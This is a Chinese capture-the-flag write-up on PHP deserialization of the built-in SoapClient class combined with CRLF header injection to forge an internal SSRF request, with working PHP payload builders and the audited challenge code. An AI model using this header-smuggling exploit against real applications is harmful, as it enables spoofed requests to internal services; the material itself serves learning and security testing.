文章目录

  • 一份更详细的WP
  • 前言
  • CRLF注入攻击
  • 本题需要重点关注的析构函数
  • SoapCLient+CRLF
  • 代码审计
  • 参考文章

一份更详细的WP

太懒了直接放百度云
链接:https://pan.baidu.com/s/1wspn-wmcqBaIlq60iHBT_w
提取码:6c4o
复制这段内容后打开百度网盘手机App,操作更方便哦

前言

如果在代码审计中有反序列化点,但在代码中找不到pop链,可以利用php内置类来进行反序列化

CRLF注入攻击

CRLF是“回车+换行”(\r\n)的简称,其十六进制编码分别为0x0d和0x0a。在HTTP协议中,HTTP header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP内容并显示出来。所以,一旦我们能够控制HTTP消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码。CRLF漏洞常出现在Location与Set-cookie消息头中。

简明理解CRLF攻击

另外补充一下一个类似的,师傅们感兴趣可以看看关于http走私攻击和实战大家可以参考下这篇文章:https://xz.aliyun.com/t/6654#toc-3

本题需要重点关注的析构函数

__call 在对象中调用一个不可访问方法时调用
在这道题中$vip->getFlag();因为调用了类中没有的方法所以会导致__call的执行
本题需要用到的函数
SoapClient::__call

SoapCLient+CRLF

首先我们来配合requestbin测试一下

<?php
$a = new SoapClient(null,array('uri'=>'bbb', 'location'=>'http://requestbin.net/r/1jm1cxz1'));
$b = serialize($a);
echo urlencode($b);

我们看看结果,从上图可以看到,SOAPAction处可控,可以把\x0d\x0a注入到SOAPAction,POST请求的header就可以被控制,也就可以来执行我们想要的东西啦

另外一方面Content-Type在SOAPAction的上面,就无法控制Content-Typ,也就不能控制POST的数据,但是我们发现在header里User-Agent在Content-Type前面,所以可以配合它进行利用

<?php
$target = 'http://requestbin.net/r/xzlkkpxz';
$post_string = 'token=y4tacker';
$headers = array('X-Forwarded-For: 127.0.0.1',
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'y4tacker^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo urlencode($aaa);

从结果当中我们能看出成功了,下面进入本题

代码审计

首页

<?phphighlight_file(__FILE__);$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

flag.php

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);if($ip!=='127.0.0.1'){die('error');
}else{$token = $_POST['token'];if($token=='ctfshow'){file_put_contents('flag.txt',$flag);}
}

因此我们只需要把XFF头改为127.0.0.1并以post方式传入token即可
给出payload

从一道题学习SoapClient与CRLF组合拳相关推荐

  1. 一道题学习node.js中的CRLF注入

    前言 这几天刷题遇到在node.js题目中注入CRLF实现ssrf的题目,对于我来说知识听新颖.在此记录一下. CRLF注入 学习过http请求走私漏洞的师傅对于这个CRLF肯定不会陌生.所谓的CRL ...

  2. ----已搬运----【总章程】SSRF完全学习,,什么都有,,,原理,绕过,攻击

    目录: 1.漏洞详情: 2. SSRF漏洞相关函数和类 2.1 file_get_contents() 2.2 fsockopen() 2.3 curl_exec() 2.4 SoapClient 2 ...

  3. 100+Python编程题给你练~(附答案)

    整理 | Just 出品 | Python大本营 春节马上就要到了,怎么能让自己在假期里不掉队?今天,营长给大家准备一个项目: 100+ 编程练习,这些题如果能坚持每天至少完成一道,一定可以帮大家轻松 ...

  4. 搜python编程题_100+Python编程题给你练~(附答案)

    春节马上就要到了,怎么能让自己在假期里不掉队?今天,营长给大家准备一个项目: 100+ 编程练习,这些题如果能坚持每天至少完成一道,一定可以帮大家轻松 get Python 的编程技能.目前,这个项目 ...

  5. java 加法不用_【Java】 剑指offer(65) 不用加减乘除做加法

    本文参考自<剑指offer>一书,代码采用Java语言. 题目 写一个函数,求两个整数之和,要求在函数体内不得使用+.-.×.÷四则运算符号. 思路 对数字做运算,除了四则运算外,只剩下位 ...

  6. python快速编程答案-100+Python编程题带你快速上手(附答案)

    春节马上就要到了,怎么能让自己在假期里不掉队?今天,给大家准备一个项目: 100+ 编程练习,这些题如果能坚持每天至少完成一道,一定可以帮大家轻松 get Python 的编程技能.目前,这个项目已经 ...

  7. 21上海省赛 F-鸡哥的限币令

    21上海省赛 F-鸡哥的限币令 n个点m条单向边的图中,边上有边权,要求选择一个边的集合使得每一个点有至少一条连入的边和一条连出的边,且这个集合的边权和最小.如果不能找到,输出-1:如果找到了,输出边 ...

  8. [BUUCTF-pwn]——[ZJCTF 2019]Login

    [BUUCTF-pwn]--[ZJCTF 2019]Login 题目地址:https://buuoj.cn/challenges#[ZJCTF%202019]Login 这道题学习还是很多的, 有的时 ...

  9. python中输出n开始的5个奇数_送你99道Python经典练习题,练完直接上手做项目,免费送了来拿吧...

    学python没练习题怎么行.今天,给大家准备一个项目: 99道编程练习,这些题如果能坚持每天至少完成一道,一定可以帮大家轻松 get Python 的编程技能.目前,这个项目已经获得了 2924 S ...

最新文章

  1. 在Ubuntu 14.04.5 LTS上安装python模块selenium 3实录
  2. mongodb cond 模糊查询_为了实现在线库的复杂查询,你还在双写吗?
  3. RabbitMQ中的消息不可达returnlistener和mandatory的使用
  4. nginx1.11.*版本追加安装sticky模块出现问题解决方法
  5. abiword class list
  6. MySQL中的SQL Mode及其作用
  7. 【Kafka】测试Kafka整合Flume
  8. pytorch ImageFolder
  9. mysql中时间不早于今天_MySQL不正确日期时间值早于1980年的日期
  10. python protoc
  11. 计算机数字媒体专业职业规划书,如何写数字媒体技术的职业生涯规划书?
  12. 阿里架构师经验分享!写给即将正在找工作的Java攻城狮,吊打面试官
  13. API文档打开显示'已取消到该网页的导航'的解决方法
  14. 基于anyrtc的sdk实现直播连麦互动
  15. UNR2 黎明前的巧克力
  16. CVPR2022《BatchFormer: Learning to Explore Sample Relationships for Robust Representation Learning》
  17. 位与:一个数1的结果
  18. No interface expected here
  19. graphics.h头文件_C语言图形(graphics.h头文件功能和示例)
  20. 数据库连接泄露的问题

热门文章

  1. 关于dlna开发使用的若干故障排除
  2. Asky极简教程:零基础1小时学编程,已更新前8节
  3. 计算机主板就一亮关机了,华南x79主板关机了鼠标还亮 为什么主板关机了鼠标还是亮呢?...
  4. 自动化软件测试 - 利用短信转发器结合Selenium读取短信验证码
  5. 数据结构入门——顺序表(SeqList)详解(初始化、增、删、查、改)
  6. 【强大精美的PS特效滤镜合集】Alien Skin Eye Candy for Mac 7.2.2.20
  7. 从国家统计局爬下来的地区信息
  8. 关于计算机网络的计算题(三)
  9. can总线的特点和优缺点以及和485比较
  10. oracle数据库exp备份表,oracle数据库exp备份表